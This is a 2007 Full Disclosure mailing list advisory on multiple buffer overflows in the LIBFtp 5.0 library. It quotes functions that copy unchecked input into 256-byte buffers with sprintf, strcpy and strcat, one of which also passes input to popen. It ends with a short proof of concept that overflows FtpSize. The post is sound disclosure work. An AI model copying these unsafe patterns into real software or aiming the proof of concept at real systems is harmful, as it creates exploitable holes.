Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow
From: "starcadi starcadi" <starcadi () gmail com>
Date: Thu, 15 Mar 2007 20:41:31 +0100

http://www.netsw.org/net/ip/filetrans/ftp/libftp/

Description

the library has a multiple (sprintf(), strcpy()) buffer overflow in
various functions.

Source errors

fvuln = FtpArchie() FtpDebugDebug() FtpOpenDir() FtpSize()

the FtpString is a typedef of an array with 256bytes:
FtpLibrary.h: typedef char FtpString[256];

..
STATUS FtpChmod(FTP *ftp,char *file,int mode)
{
  FtpString msg;

  sprintf(msg,"SITE CHMOD %03o %s",mode,file);
  return FtpCommand(ftp,msg,"",200,EOF);

}

..

int FtpArchie ( char *what, ARCHIE *result, int len)
{
  FILE *archie;
  FtpString cmd,tmp;
  int i;

  bzero(result,sizeof(result[0])*len);

  sprintf(cmd,"archie -t -l -m %d %s",len,what);

  if ((archie = popen(cmd,"r"))==NULL)
    return 0;

..

STATUS FtpDebugDebug(FTP *ftp,int n, char * Message)
{
  FtpString tmp;


  strcpy(tmp,Message);

  if (strncmp(tmp,"PASS ",5)==0)
    {
      char *p=tmp+5;
      while ( *p != '\0') *p++='*';
    };

..

STATUS FtpOpenDir(FTP * con,char * file)
{
  FtpString command;

  if ( file == NULL || *file == '\0' )
    strcpy(command,"NLST");
  else
    sprintf(command,"NLST %s",file);

  return FtpCommand(con,command,"",120,150,200,EOF);
}

..

int FtpSize(FTP * con, char *filename)
{
  FtpString tmp;
  int i,size;

  strcpy(tmp,"SIZE ");
  strcat(tmp,filename);

  if ( FtpSendMessage(con,tmp) == QUIT )
    return EXIT(con,QUIT);
..

POC

#include <FtpLibrary.h>

#define OVF_BUF (270)

int main()
{
        char *buf;

        buf = (char *) malloc(OVF_BUF+1);
        memset(buf, 'A', OVF_BUF);

        // insert function to init ftp connection..
        // insert function to manage ftp connection..

        // calling vulnerable function example FtpSize()
        FtpSize(NULL, buf);

        // insert function to close ftp connection..

        return(0);
}

-- 
~ starcadi

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow starcadi starcadi (Mar 15)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault